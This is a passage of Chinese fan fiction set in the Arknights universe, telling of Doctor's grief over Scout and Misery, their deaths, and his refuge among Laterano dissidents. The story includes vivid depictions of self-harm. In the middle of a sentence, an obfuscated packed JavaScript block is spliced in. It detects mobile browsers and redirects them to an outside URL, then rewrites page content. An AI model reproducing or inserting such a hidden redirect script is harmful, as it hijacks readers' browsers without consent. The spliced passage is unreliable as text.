“博士!”Misery捂住他的口鼻,将他的脑袋摁进自己怀里,背对血腥的场面,“别这么急促呼吸,你会晕过去的!没事的,没事的,我在这里……” 人类在他的怀里冷得像块冰,Misery怎么都捂不热。如果回到几分钟前,他肯定用尽办法也要阻止博士亲眼看到这样的场面,尽管他自己曾经在战场上看得已经够多了,但博士明显没有过这样的经历。 魔王为救世主编织了美好的愿景,却从未放他亲自去看一眼战场的真实情况。 “我也很遗憾,但是我们没时间哀悼了,那群萨卡兹和当地民兵打起来了,很快会波及到这里,一旦他们发现你们……”耳机里传来弗里斯顿的声音,他的话语经过电子处理平静中染着焦急,“博士!如果他们知道你在这里,更多的萨卡兹追来,这里的人都会死的!别忘了你身上的责任,预言家!” 一语惊醒梦中人。 博士几乎马上从那股神魂抽离般的状态醒来,他猛地吐出一口气,胸腔内的心跳快得吓人,但他强行令自己的大脑冷静下来,忽视胸口那阵阵的抽痛,像冷冰冰的电脑一样开始分析目前的形势与对策。 祭坛下的刀痕,无人看守的钟楼,伪装的卡兹戴尔正规军,桩桩件件奇怪的事情汇总到一起,整个小镇就像专门布置的舞台,就等候着他们的踏入。 “我们暂时还不能离开……巫术祭坛是个陷阱,他们算准了我们不会对这里的居民坐视不理,而且不知为何,他们笃定只有我们能够拆掉核心。从核心被破坏的那一刻开始,卡兹戴尔的增援就已经在路上了。找一辆还能用的车,等他们集结得差不多时突围用得着。而且为了这里的居民安全考虑,我们必须大张旗鼓地离开,告诉这些萨卡兹,我们就在这里。” 博士的声音顿了顿,“……看来他们已经知道了。” 他的目光落在从阴影里走出的奇怪人物身上,浑身缠满黑色绷带的杀手,从虚无中走来,身上的杀戮气息全开,像一根冷硬的刺突兀出现在这里。 “这里怎么会有裹骸死士!?” Misery的声音也颤抖起来,他们的魔王究竟做了什么?弗里斯顿在自己的数据库查到了这个词条,他的核心数据也为之一颤。 抛却名字,自断犄角的萨卡兹刺客。紧束的裹布之中,乃是赤诚的狂热和既定的命运。 阴云笼罩于城镇之上,无辜者的鲜血浸湿了地面。 这位迷之杀手的动作极快,步伐轻灵,连Misery都不能轻易摆脱掉,但好在攻击频次不高,手里的两把刀像是临时借过来用的,处处充满生涩和不自然。他像鬼魅一般贴近,却没有造成多少有效伤害,但那股强烈的压迫感追赶着他们,把他们逼进城边上的一间空房间。不用直接面对压力的博士敏锐察觉到,这里距离萨卡兹军队的位置已经越来越远,门外甚至听不到多少法术爆炸的打斗声。 Misery反手握住匕首,另一只手揽着博士,他的外衣被刀划烂了,但还好都只是皮外伤。他的匕首在裹骸死士身上造成巨量的创口,血液顺着四肢流淌,沿路留下恐怖的痕迹,却丝毫不见对方因为痛苦而停滞步伐,好像站在他们面前的不是一具活生生的□□,而只是巫术捏出的造物。 沉浸在杀戮中的刺客突然停下了前进的步伐,像一根木头一样僵硬杵在原地。Misery拿不准对面想干什么,他必须节省体力、控制源石技艺使用的频率,再这样消耗下去吃亏的是自己。他蹲下身体,全神贯注,匕首捏在指尖,随时准备带博士离开这个房间的同时寻找机会给予这位奇怪的刺客致命一击。 博士右手上的咒文发出明亮的白光,一圈一圈的咒文像丝带一样飞扬,它们嗅到了某种气息,一拥而上,繁复的咒言包裹住了裹骸死士,撕扯下缠绕其上的巫术丝线。 杀手跪倒在地面上,两把不合适的长刀坠落在地。他缓慢地抬起脑袋,从黑布的缝隙里,有一双死寂的眼睛,却因为面前的景象而重新焕发出一丝情感波动。 博士记得这双眼睛。 26. 25 漆黑的通道仿佛永无尽头,明明身处全泰拉最安全的地方,身旁也有信任的人,博士依然感到一阵不确定和兴奋,鼓动着他那颗日渐沉寂的心脏怦怦直跳,像他第一次搭乘飞船,前往无垠空旷的宇宙中一样。 他第一次走出了巴别塔。 不再是隔着玻璃的远望,众人的尊敬与疏离,眼底的怀疑与试探,不断提醒着人类,他与他们终究是不同的。 断角的萨卡兹对这一带熟悉得很,但他放慢了前进的脚步,面巾下的笑容藏不住,博士跟在他身后的速度越来越慢,人类的眼睛不时被店铺与拥挤的人群所吸引。在淹没他感官的繁杂声音中,萨卡兹们在互相交谈,客人与商贩讨价还价,一群小孩子追逐打闹被大人呵斥,洁白的羽兽在广场上散步,叼走路人撒下的豆子、面包屑。 博士像从没出过远门的小孩一样,对什么都很好奇,人类自知除了入口的食物与美好的回忆,他什么也带不走,索性直奔最热闹的美食街。但他的饭量实在太小太小,许多食物就咬了几口,其他全填进了萨卡兹的肚子。虽然评价不过是简单的几句这个好吃、还行、怪怪的,但平常吃惯了健康配比营养餐的人类吃什么都很开心。 他们在外面待了多久?博士已经记不太清了,直到萨卡兹温和提醒他该回去了,他才惊觉时间居然会过得这么快。在巴别塔的生活每一天都像固定的循环,他在实验室与住所之间两点一线。特蕾西娅会不定期带他去看望福利院的孩子们,他们大多是其他种族的被抛弃的矿石病患者,听说自从他们收养阿米娅之后,这就成了惯例。每一次的外出几乎都有Scout的参与,他早已习惯了狙击手沉默的陪伴。 但有一天他不再沉默,“你好像每天除了实验和手术,没什么其他事情做。” 那是他第一次,也是唯一的一次带他走出巴别塔。 萨卡兹笑着说:“虽然平常很累很辛苦,但偶尔放松下,做点出格的事情,会让你发现生活还是挺美好的。” 但他没有告诉人类的是,所有越过规则以外的事情都会付出相应的代价。博士没有得到任何处理,但再次见到Scout却是一个月后了,萨卡兹不自然的动作和遮盖严实的衣物让博士知道了这一次的“出逃”付出了怎样的代价。尽管狙击手辩解这是他被派去执行一项机密任务负的伤,博士没有戳穿他,那些源石技艺留下的伤痕就像来自魔王的警告,人类的一举一动都会给身边人带来什么样的后果。 分明知道握针的手不会颤抖,针筒里的药物已经通过动物实验,质量指标与稳定性都有翔实的数据支持,博士仍然最后问了一遍。 “你确定吗,Scout?” “这是你问的第四次了,博士,我非常确定以及肯定。总要有人来测试新一代矿石病药物,我很荣幸成为你的第一个病人,说不定以后还能托你的福,写进教科书里呢。” 也许是萨卡兹乐观的态度感染了他,博士终于不再犹豫,碘酒擦上胳膊,细长的针尖刺入皮肤,“可能会有不良反应,你忍着点。” 博士通过仪器实时监测他的身体各项数据变化,药物起效了,但副作用也同样很明显。狙击手咬着牙硬是忍住了那股烧灼他全身血管的疼痛,他的脸憋得通红,尾巴都在不自觉用力绷直。 博士第一次主动握上萨卡兹的手,他的手掌温暖、宽大有力,虎口因为长期持枪有一层厚厚的茧。直到剧烈的副作用缓慢消退,萨卡兹才意识到被他紧紧攥在掌心的那只手属于博士。他像被烫到一样迅速松开了。 “抱歉,我不自觉就……” 博士摇了摇头,露出疲惫但真心的笑容,“我们成功了,你的血液源石浓度显著性下降,虽然距离真正治愈矿石病还很遥远——但用来应对急性矿石病发作已经足够了。” “你果然是天才科学家啊,博士。”萨卡兹毫不吝啬称赞的言辞,句句真诚,夸得博士反而不好意思起来。 “也要谢谢你,Scout,没有你的一直鼓励的话,我进度不会这么快。” 经过数次迭代后,效果削弱但更加安全稳定的矿石病药物彻底取代了市面上没有多少效果的安慰剂,博士的名字却被隐去了,除了巴别塔的内部人员,没有民众知道前文明学者为此付出的心血与努力。他的存在本身对于卡兹戴尔就是一种禁忌。 “……Scout。” 许久没有提起过的名字,发音和往日别无二致,但浓浓的悲哀与沉痛撕扯开了音节。 Misery瞬间收缩瞳孔,他刹那间想明白了许多事,为什么他们能够顺利进入祭坛核心,为什么他的刀不匹配身体,为什么一路上紧追不放却总是在关键时候克制力量。 除了他的好兄弟,老同事,巴别塔第一狙击手,还能有谁在长久的折磨以后依旧心性坚韧到足以对抗巫术的控制? 但Misery不会掉以轻心。他击飞掉落的长刀,确保疑似Scout的裹骸死士身边没有任何能够伤害到博士的武器,但唯独Scout本身,他突然意识到,他的存在本身就是这里最能伤害到博士的东西。 “你们……不该来这里……”他的嗓音含混不清,嘶哑得像声带被砂纸磨过一样,不再像过去记忆里那个年轻、温柔的声音。 博士走到他跟前,表情怔怔的,他的语气破碎而痛苦,“……是谁做的?是特蕾西娅还是特雷西斯?是杜卡雷还是奎萨图什塔?” 他跪坐在地上,仰头注视着人类,眼神柔软深情,黑色绷带覆盖下的嘴像重新学会说话一样,语言从断断续续逐渐恢复流畅,“我,背叛了我们的,魔王,这是我应得的惩罚……真好,还能再看到你眼里重新燃起来的希望,哪怕只是一点点,那我做的一切都是值得的。” “你……”博士的心头充斥着一股无名的怒火,他握紧了拳头,指甲嵌入掌心,“你还是这么自以为是,Scout!你以为我会对你的擅自决定很高兴!?你以为我会跪下来痛哭流涕感激你的牺牲!?你明明可以活下来——你这个傻子,笨蛋,蠢货!你是这个世界上最愚蠢、最不可救药的萨卡兹!” “……那你又为什么会为我这种萨卡兹流泪呢?”Scout几乎叹息着说道,“如果骂我会让你好受点,尽管骂吧,我认错。” “但你就是不改,是不是?”博士不需要伸手就能感受到自己眼下涌出的两道温热咸湿的眼泪,他的声音也染上哭腔,“你甚至不愿意在我面前装一下!假装什么都不知道有什么不好的?你能活下去,卡兹戴尔也不会失去重要的战争资源,我们三个还能像以前一样,在夜晚畅谈巴别塔欣欣向荣的未来。” “对不起,博士,”Scout低下头,陈恳道歉,“是我太自私了,我不该擅自死去,也不该擅自想尽办法把你送出巴别塔,更不该自大到认为这样可以完成你的心愿……” 博士扭过头,狠狠擦掉眼泪,因为太过用力,眼下蹭红了一片。Misery沉默不语,但他轻轻捏了捏人类的肩膀给予安慰。 Scout抬起头继续说道:“……我也要跟你说声对不起,我的好兄弟,Misery。尽管这对你来说很突然,但这是我经过深思熟虑的结果,你是唯一我可以信任、可以放心托付的人,因为我知道我们抱有同样的情感。而且事实也证明,我没选错人,你做得很好,你融化了我留给博士的阴影,就像你一直以来擅长的那样。” “很烂的比喻,Scout。”一向老好人的Misery这次嘴上毫不留情,“你知道我无意取代你的位置,却还是选择了伤害我们所有人的做法。” Scout唉声叹气,“唉,我都死过一次了,我的两位最好的朋友,就对我稍微宽容点吧。如果有的选,我当然也想跟你们一起,离开卡兹戴尔,去更远的地方。可惜,从我决心背叛我们的王开始,我就知道这代价会很昂贵,包括支付我的生命,但我不后悔。我是个再普通不过的萨卡兹,以我的区区一条命换来做成这么大的事,连Logos这个高贵的女妖王庭之主都做不到的事,你们该为我骄傲才是。” 他的语气轻松,□□遭受的折磨并没有磨损他灵魂中轻飘飘、闪闪发亮的部分,乐观热忱仍然是他性格中的底色。 “没有时间叙旧了,朋友们,按照他们的计划,W和她的小队马上就要赶到这个小镇。走吧,趁Logos的咒文还起效,杀死我,然后离开这里。 “作为萨卡兹,这是我能为我们罪孽深重的族群做出的最后补偿。作为Scout,我很抱歉不能陪伴在你的身边,博士,这是我的遗憾。 “我是属于过去的人,就让我留在过去,而你始终走在未来的道路上,去做出你认为正确的决定吧,你知道我永远不会怪你的。” 金色的咒文从博士的手腕延伸出,圈上面目全非的裹骸死士的脖颈,黑色裹布被照得发亮。被削去双角的萨卡兹最后用眼睛去描画、记住他深爱的人类的脸,那双眼睛里没有怨恨,没有愤懑,没有不满,只有依依不舍的眷恋,命运对他既残酷又垂怜,让他能够在死后再次看到牵挂已久的人,能够彻底死在爱人的手中让死亡都不再那么冰冷可怕。 博士伸出双手,缓慢小心地将全身上下没有一块好皮的萨卡兹轻轻拥进怀里。Scout的身躯冰凉,没有一点温度,但博士固执地抱紧了他,将活人的温暖尽数传递过去。 “晚安,Scout,对不起……我爱你。” 咒文收束,巫术缝补起来的□□逐渐干瘪,化为黑色的灰烬,随风消散。博士抱着空荡荡的布条与盔甲,泣不成声。Misery揽过博士的肩膀,轻抚他的背安慰。 “刚刚那个……呃,你们的朋友,说的没错,有一队萨卡兹正在快速接近,最远的监控探头已经能够看到他们。”弗里斯顿小心翼翼说道。 死去的人归于虚无,活着的人还要继续走好脚下的路。 博士没有时间沉浸在悲伤里太久,他们按照原计划找到了合适的车辆,一辆属于雷神工业的运输车,结实耐用,它合金加厚的身板抗下几波源石技艺的轰炸不是问题。 Misery踩死油门,猛打方向盘,车辆轰鸣着一路闯过萨卡兹军队在街道上设下的路障,偶尔还会撞飞几个倒霉的全副武装的萨卡兹士兵,而车身只是轻微掉漆而已。 他们直接沿着主干道,冲向镇外,正面迎上那支萨卡兹小队—— 博士用力丢掷出街道路边捡到的的空手榴弹,里面塞着一张纸,画着一个黑色的小兜帽人,旁边是大大的中指。这就足够气歪W的脸了,博士想。 萨卡兹的追兵果然调转方向,冲他们身后追来,源石技艺的爆炸在轮子左右闪烁,像鼓点一样密集,钢化玻璃受到冲击绽开蛛网般的裂缝。博士拽紧了身前唯一一条固定身体的安全带,在爆炸声的间隙嘶吼道:“弗里斯顿!拉特兰那边什么时候才到!?” “战舰赶到这里起码还要几个小时——但天无绝人之路,附近几公里外有一个拉特兰小队的信号标识,我已经发给他们求救信息了!车上的导航我也设置好了!只要我们,滋滋滋,撑过这十几分钟!” “这样下去不行……”博士皱眉,他的大脑高速运转,已经开始摇晃和砰砰作响的车身提醒他们,这辆车随时可能因为一个颠簸、一个关键位置的法术流弹而解体,即便是雷神工业的杰作,在狂轰滥炸的法术下依旧显得脆弱不堪。 “博士,”正在开车的Misery出声,他看上去冷静得完全不像正在以快两百码的速度在原野上狂奔的人,握紧方向盘的手臂上青筋暴起,“前面有一片生长期源石簇——” 博士明白他的意思,但这完全是自杀性质的,可身后的炮火已经不容他们有更好的选择了,前方的道路布满迷雾,除了勇敢冲进去,没有人知道迷雾的尽头到底是什么。 “那里的地形应该足够拖延时间。”博士分析道。 车辆闯入源石的森林,博士几乎立刻从医疗包掏出仅剩的那支应急抑制剂,为了不影响开车扎在萨卡兹的大腿外侧。 环境中的源石浓度陡升,即便刚刚注射过药剂,萨卡兹手腕上的手环依然亮起危险的橙色。他们走的这一步险棋生效了,追在身后的炮火锐减,生长期的不稳定源石就像一个个的不稳定炸药包,爆炸扬起的源石粉尘更是催命的阎王,即便萨卡兹这样一个长期与源石相伴的种族,也没几个能疯到完全不惧源石的威胁。 但前路的危险性一点也不亚于身后的炮火,源石冲出地面,因为爆炸掀起的粉尘互相活性化,几乎每一刻的地形都在剧烈改变,崩裂的岩石与迅速拔高几十米的巨大源石交替收窄道路,身后不断有萨卡兹的惨叫与分不清究竟是急性矿石病发作还是源石爆炸的声音。 “小心——” 博士刚出声,一丛新长出的源石就刺入了磨损严重的轮胎,Mi ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391791|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' sery没有丝毫犹豫,直接跨过半个座位拎起博士从车内闪身而出。 失控的车辆直挺挺撞上粗壮的源石矿,但好在这点冲击没有激化源石。尽管车身散架了,饱受炮火冲击凹凸不平的铁片散落一地,锁在车厢里不知道装着什么东西的金属箱子也滚落出来。 在这里使用源石技艺不亚于在滚烫的油锅里游泳,Misery几乎马上就神色不对劲。博士扶着他躺下,脑袋靠在自己的大腿上,掀开外衣,这才发现闯进来的这一路上,从破损的窗外飞来的细小源石碎片嵌入了萨卡兹的半边身体,如果不是之前打的那支应急药剂,他早在车上就矿石病发作了。 但即便是应急抑制剂,在这样高浓度的环境下,也不过是杯水车薪,Misery很快进入高热、意识模糊的阶段,他体表的源石结晶已经以肉眼可见的速度开始蔓延,萨卡兹的生命正在进入倒计时。 博士对这一决策后悔无比,他明明知道进入的危险性,却还是同意了Misery的提议,如今萨卡兹的生命悬在他手中,细得像丝线一样,就这样放任不管的话,一阵风都能吹断。 博士从兜里掏出那把Misery送给他防身的匕首,想来很讽刺,他违背了原主的意愿,用它做过最多的事情,竟然是将刀刃朝向自己。 锐利的刀锋擦过掌心,鲜红的血液顺着指尖滑入萨卡兹的口腔,为他因疼痛而惨白的嘴唇涂抹上一抹亮色。他的血液起效很快,萨卡兹身上的源石结晶已经停止了生长,但还不够,萨卡兹仍然在昏迷…… 博士深呼吸一口气,刀刃贴上手臂,划开新的创口。更多更汹涌的血液溢出,为了不浪费,他直接把伤口压在Misery的嘴唇上,疼痛令人类皱眉,现在只能祈祷一切都还来得及。 “唉,你……唉。”弗里斯顿几次欲言又止,最后只能劝慰道,“他会没事的,那支拉特兰小队也快到了。” 腥甜的气息充盈着食道与口腔,Misery被鲜血激起的血脉深处的求生本能令他一口咬上人类脆弱的手臂,但血液的注入、急性矿石病的消退逐渐唤回了他的神智。 神啊,他在做什么……他最不愿意见到的一幕还是发生了,博士鲜血淋漓的手臂提醒着他的无能。 他钳住人类的手臂,从自己嘴边挪开,应急抑制剂稀少的原因呼之欲出,因为最贵重的原材料之一就来自于创造者本人。 “你感觉怎么——” 恢复意识的萨卡兹刚坐起身,他就一手刀劈在人类的后颈上,然后扶住对方瘫软下去的身体。 弗里斯顿简直要吓坏了:“你在做什么!?真是白瞎了博士为了救你牺牲这么大,他几乎把他身上最危险的秘密都告诉你了!你到底……” “不,弗里斯顿,只要我还活着,博士就不会放下我不管,你们逃不出去的。”他拿出博士随身的医疗箱,为人类包裹好伤口,“车厢里掉出来的货物里有雷神工业的运输小车。” “什么?”弗里斯顿还没搞清楚这个萨卡兹究竟想干什么。 “……我活不久了,我能感觉到我的内脏已经被源石刺穿,即使侥幸活下来我也是半个废人。”萨卡兹温柔的手理顺人类散乱在兜帽外的白发,“我会留在这里引爆整个源石簇,彻底阻断他们追击的路线,你用小车带博士离开。” 尽管嘴上还在骂骂咧咧,但不一会儿从废铁皮堆下钻出来个大半个人高的小车,幸好这个型号有加装机械臂,Misery把博士轻轻摆放上去,弗里斯顿还能用机械臂扶稳。 “你跟我们一起走!”弗里斯顿还在劝。 Misery没有回答他,他的手指眷恋地触上人类柔软的侧脸,轻轻擦去干涸的泪痕,然后从指上取下因为打斗有些变形和焦黑的银戒,塞进博士最贴身的口袋里,“你比我更清楚他有多重要,他不能再落进卡兹戴尔的手里。” 倘若身体内流淌的血脉真的能赋予他预言未来的能力,那他已经看清了自己的未来。 “你这!唉!”弗里斯顿气得咬牙切齿,但他反驳不了萨卡兹的话,“想尽一切办法活下来!然后自己去向博士道歉吧!我不会帮你带话的!” “不用,该说的话我早就已经跟博士说完了。”Misery平静说道,“我也没什么好遗憾的。这段时间我过得很开心,简直就像做梦一样……但是梦也该有醒来的一天。我们属于博士的过去,也许注定了会被舍弃掉,与其等到那一天,还不如让我自己来。他要前进的道路上不需要我们这些人的拖累。” “博士他不是这样想的——” 大地震颤,随着追踪部队的损失越来越惨重,卡兹戴尔军队放弃了继续往里投入兵力,转而用赶来的炮兵部队从外围开始扫清沿途的源石。 弗里斯顿不再试图争辩,他们在这里吵不出什么结果来的。车轮碾过碎石,在进入狭窄的通道以前,他转过摄像头,最后拍了一张站在原地目送他们离开的萨卡兹。 倾倒的源石柱彻底阻挡了视线。 再见,朋友。 “你说先导为什么非得把我们几个都派出来?这个求救信号来路不明,而且拉特兰最近动作频繁,好像有什么大人物要来,这个敏感的时间点,我可不想撞见他们的军舰——”黎博利手握方向盘,一边分心回头和同伴聊天。 “你就好好开车吧,地图显示前面有一片活化中的源石簇,小心点。”一旁的萨科塔拍了下她的后脑勺。 “噢!神明在上……你管这叫活化源石簇?这分明就是最高危险等级的爆破现场!”黎博利回过头猛地踩下刹车。 远处的源石像地狱里熊熊燃烧的火焰一般,绽放出致命而美丽的光彩,飞扬的源石尘埃遮天蔽日。 萨科塔低头看向手里的信号接收器,“嗯……信号就是来自那里,而且离我们越来越近了。” “……我想我知道我们的救援对象是谁了。”黎博利拿起后座上的铳枪,“不过他们还有点小尾巴需要我们帮忙处理一下。” “乐意效劳。” 几位萨科塔同样举起铳,将瞄准镜里追在那辆小车身后的零星萨卡兹逐一点掉。 他们拉开车门,将昏迷的人类与破损的小车一起抬进去。 “能被卡兹戴尔军队秘密追杀的人……还真是不一般。”他们聚拢来,注视着人类苍白无害的睡颜,光圈将人类的脸照得雪白,“回去问问先导怎么办吧。” 27.26 白色的花海,静悄悄流淌在峡谷之间,身披黑色长袍的男人伫立在花丛中,银白的光环在昏暗的天色下依旧光亮如初。他的目光投向远方,似乎在思考着什么。 机械手拂过花瓣上的露珠,灰色耳羽的黎博利小心分开花朵,避免踩踏这些圣洁的生灵,悄然走到男人身后。 “他怎么样了?”萨科塔出声。 “呼吸急促,胸闷,自残倾向,睡眠障碍……创伤后应激障碍。他应该刚刚经受了严重的创伤,但因为有过相关经验和防备心强,外表看上去……很正常。”黎博利顿了顿,“你随时可以去见他,也许正常谈话对他来说会好一点。” “感谢你的帮助,Raidian。” 她摇了摇头,“你能把我找来帮忙,我就知道事情肯定不简单,那群萨卡兹……”眯眯眼的黎博利突然收敛了挂在脸上的温和笑容,“他们在边境上做的事情拉特兰不会善罢甘休的吧。你打算什么时候把他交还给教宗?” “这取决于他自己,我同样收到了启示,没能及时保护好他,是我们的失误。” Raidian不置可否,她轻晃身后的机械臂,寒光一闪,切下一支白色的夏雪草,两指捏住,别在腰间,“他问我有没有合适的地方安葬他的朋友,你在这方面更有经验些,前安魂教堂主祭,安多恩。” 博士的视线落在床头新插的白花上。自从他苏醒以来,Raidian态度十分温和,也从不急切追问他到底遇上了什么事情,好像博士只是她需要偶尔拿出来晒晒太阳的精神恹恹的绿植。 她每天都来,从普通的对话开始,避而不谈博士手上的刀伤与胳膊上新添的那几道血痕,但也并非全然漠视,她会耐心给他上药包扎,怕他疼还会随时变魔术似的机械手上掏出些酸酸甜甜的糖果。 弗里斯顿被修复好的新身体被禁止踏入病房,他的机械臂跟Raidian的来回攻防了几个回合,仍然没能突破温柔黎博利铁一样的防线。 “他还需要一点时间,弗里斯顿先生。”Raidian温温和和说道。 “可他总不能每天都关在房间里……” 黎博利遗憾摊手,“如果你或者他能够告诉我们到底发生什么事情了,对症下药会快许多。” 小车的喇叭静默了,他不知道该不该告诉这位看上去很专业的心理医生,有关博士遇到的那些事情。说老实话,他都不一定能够把事情的始末讲清楚,也不知道现在的博士是怎么想的,如果那个萨卡兹真的已经死于同族之手……那就更不该告诉这些泰拉人了。 “唉,我也不知道该怎么办了……但至少他在你们这里是安全的。” “暂时安全,”Raidian补充道,“圣徒们估计快找上门来了。安多恩顶着压力对外默认把他扣在这里这么久,就是不希望他因为一时的情绪上头做出不可挽回的决定。” “我倒希望他能够因为情绪冲动一下,”弗里斯顿叹气,“他自己的情绪排在很多东西的后面。本来有人可以帮他解决那些情绪,但是那个人已经不在了。” 博士又一次从清醒的白日梦里苏醒,他的意识昏昏沉沉,胳膊上指甲抓出的伤口已经结痂,但他又一次掀开了还没长好的皮肉。疼痛与鲜红的血液令他清醒过来,人类拿出床头早已备在那里的医疗箱,表情空白,给自己消毒和止血,眼下堆积的青灰疲惫而陌生。消毒棉球吸饱血液,褪成暗红色,落进堆满白色垃圾的桶内。 他的身体还有用,孱弱不堪的躯体根本承受不起任何外伤消耗。所以即便感到四肢麻木,连疼痛都开始变得迟缓了,他也必须将机能损失控制到最低限度。顶着胃里再强烈犯恶心的不适感也要把每一顿营养餐吃得干干净净,吐了就缓一阵再吃,直到彻底填满胃部,沉甸甸的饱腹感压迫着内脏,令他有种空虚的满足感。 他有在好好活着…… 只要是身体修复需要的,他就去做。至于精神上的伤口,唯有时间能够缓慢治愈。更何况他早就不缺这一道两道了,只不过新鲜的伤口依旧发疼,唤起了他早以为变得麻木的情感。 他低头看向自己还在微微颤抖的手。他应该一醒过来就生气的,砸坏所有视线范围内的东西,因为一个两个都听不懂人话的萨卡兹,因为步步紧逼的卡兹戴尔,因为他的死、他们的死。但为何心头只余无尽的悲凉,仿佛他身边的人终有一天都会离他而去,拥抱毁灭,却不约而同将他一个人留下。 只剩他一个人。 如果他连身边的人都保护不了,那他所做的一切究竟有什么意义? 不,源石……你还有源石。 你早就预见了这一天,不是吗? 预言家。 人类猛然抬起头来,站在病床对面惨淡人影直视着他。洁白的研究服上,胸口绽开一个大洞,漆黑的石头嵌在撕裂的皮肉中蓬勃往外生长,将洞口撕扯得更大,往外欢快涌出血液,他却对自己半边染成暗红色的衣服浑然不觉,浅灰色的瞳孔里亮起棱形的光斑,他在笑。 这一切是你应得的……你难道会指望他们当中会有谁真的站在你这一边? ……哦,可能曾经有过,但由你亲手葬送。你曾如此软弱,如此优柔寡断,甚至试图逃避自己的责任。 感谢你的敌人,是他们让你及时清醒过来。 这才是你该做的。 新生的文明用它那稚嫩的尖爪做出的微弱挣扎。 痛苦咬上你的舌根,希望却在舌尖滋生。 你会用你的眼睛,你的双手,去见证,去淬炼新生的文明,直到再次折断他们的羽翼,摧毁一切生的可能。 死去,或迈入新的时代。 铁锹翻开土层,将泥土深处腐烂的根凿断。博士几乎铲两下就得停下来歇一歇,他的身体恢复不错,但这种体力活依旧能轻易掏空他的体能。 Raidian为他指出这片花田的一角,这里的花朵早已凋谢腐烂,露出裸露的土地。她指路以后就借故离开了,博士需要一点放置悲伤的空间。 但一袭黑袍的萨科塔不这么想,他站在树荫底下注视了一阵人类缓慢挥舞铁锹的身影,然后走上前来自我介绍。 “寻路者领袖,安多恩。” 博士的铁锹停了下,又继续铲进泥土里,“我知道,他们都称呼你为‘先导’。” “这样的称呼不该由你的口中说出,我曾经有过忠实的信仰,但又亲手击碎了它虚伪的假面……前路漫漫,这片大地上的苦难永无尽头,我们不过一群离经叛道的寻路者,与我同行之人相信我能够指引他们,但我自己的路走得尚且艰难,更算不得什么先导。” “我以为你会先试图开导我,让我不再自怨自艾,在这里做些徒劳无功的事情。”博士挑眉,经过他的不懈努力,面前终于有了一个小小的土坑,虽然用来安葬一个人远远不够,但对于他想埋的东西已经绰绰有余。 “该说的话Raidian已经跟你说过了,在这方面,即使是我,也必须承认她比我做得更好。送别同伴与过去对于活着的人同样重要,这代表你已经准备好面对残忍的现实。”安多恩的长袍下摆与皮鞋沾染了许多泥土,变得脏兮兮的,但他并不介意,他如预示所言,站在预言家的身侧。 “谢谢你这段时间的收留……在你对我避而不见的这段时间,想必已经做好质询的打算,我这里没有你想要的所有答案,但幸运的是,我恰好知道一些你需要的。” 狙击镜与成对的银戒一起落入土坑中,博士丢掉了沉重的铁锹,转而蹲下,用双手捧起松软的泥土盖上,他的神情肃穆,气色已比起刚来时好转了许多。 “……圣城之下,究竟藏着什么?我们萨科塔的命运,我们皈依的信仰,我们赖以为生的一切……是否只是源于神明的一句低语?” 从见到那片源石簇开始,Misery就已经知道自己多半凶多吉少了,源石像慢性毒药一样蚕食着数不胜数的生命,却唯独对博士分外偏袒。博士一定不会出事,正是带着这样的认知,Misery提出了那个提议,并且在博士察觉过来之前,先发制人。 他挑破手链的细绳,数了数掌心里的宝石数量。带有源石刻印的宝石天然具有一定的催化活性,即便他不能够使用源石技艺,但节约数量,用在关键节点,依旧可以打乱萨卡兹军队前进的步伐。 人类的血液尚且温热,食道里满满的腥气,为他阻隔了源石的进一步侵入。他拒绝继续猜想下去博士还隐瞒了什么,仅仅从血液可以压制急性矿石病发作这一点,就足以让前文明人类坠入深渊。他的确不该与任何泰拉人建立情感上的连接,连Misery自己都不应该。 但反过来说,博士愿意接纳他同样承担了巨大的风险……萨卡兹心虚起来,博士醒来应该气坏了吧,他头一回这么大胆地自作主张。但如果给他重来一次的机会,他也依旧会这么选。即便博士这辈子都不会原谅他了也没关系,为了博士的安全,他应当怀揣着这个秘密死去。 他现在能体会到一点Scout当初做出决定的感受,但是与肾上腺素强行压下的内脏流血隐隐的钝痛不同,心脏的位置一阵尖锐的痛楚……他捂住自己的胸口。博士也会这样疼吗? 宝石击中源石矿核,引发连锁爆炸,热浪腾腾翻滚,烧焦的糊味与硝烟味萦绕在鼻尖。即使不需要借助源石技艺,他也仍然富有作战技巧与经验,到最万不得已的时刻,他体内富集的源石一样可以成为爆炸的引线。 空气中有毒的源石粉尘灼烧着呼吸道。Misery手里握紧最后一颗宝石,他站在高大的源石矿脉上,注视着对前方的危险还一无所知,继续往前推进的全副武装的萨卡兹军队。 “对不起。” 他闭上眼睛。 “为何不同我一起去看看呢?”博士抬眼,“你也是‘它’选中的人。” “大教堂的地下我早已去过,得到的答案却令人困惑,维系着我们的使命有且仅有一条……‘存续’。”如同一顶头冠的美丽光圈照亮了他的颅顶,悲悯的浅色眼睛聚焦在博士脸上,他们身下投下同样形状的阴影。 “守护与毁灭宛如一对在末世里起舞的双生子。如今你曾经寻求的道路就正摆在你的面前,安多恩。”博士起身拍掉手中的泥土残渣,“拉特兰不再遗世独立,只做独属于萨科塔的地上乐园,它会成为一把铳,击碎虚伪的公义,终结这世间的恶,用铳与炮火,为苦难深重的泰拉带去一丝和平的曙光。 “你愿意为此支付代价吗,安多恩?开枪没有回头路,拉特兰……甚至于萨科塔都会因此而覆灭。” 峡谷的风卷起花瓣,形成白色漩涡,在寒风中挺立的夏雪草终究逃不过冬日的摧残,枝头的花瓣残缺而美丽。 “这里埋葬着曾经第一支出走拉特兰的萨科塔,他们不满于教宗对于律法的解释,怀着满腔热血,想要改变这片大地吃人的现状,用自己的铳去践行理想与正义。”安多恩合拢掌心,垂下眼睛俯视这片宁静的花圃,“在这里的所有人,活着的,死去的,都怀揣着相同的信念,这信念使我们连接,使我们情同手足,无论萨科塔还是黎博利,亦或是萨卡兹,我们都一视同仁予以接纳。凡内心尚存对真理的质疑,在前行之路上迷失者,皆可与我们同行。 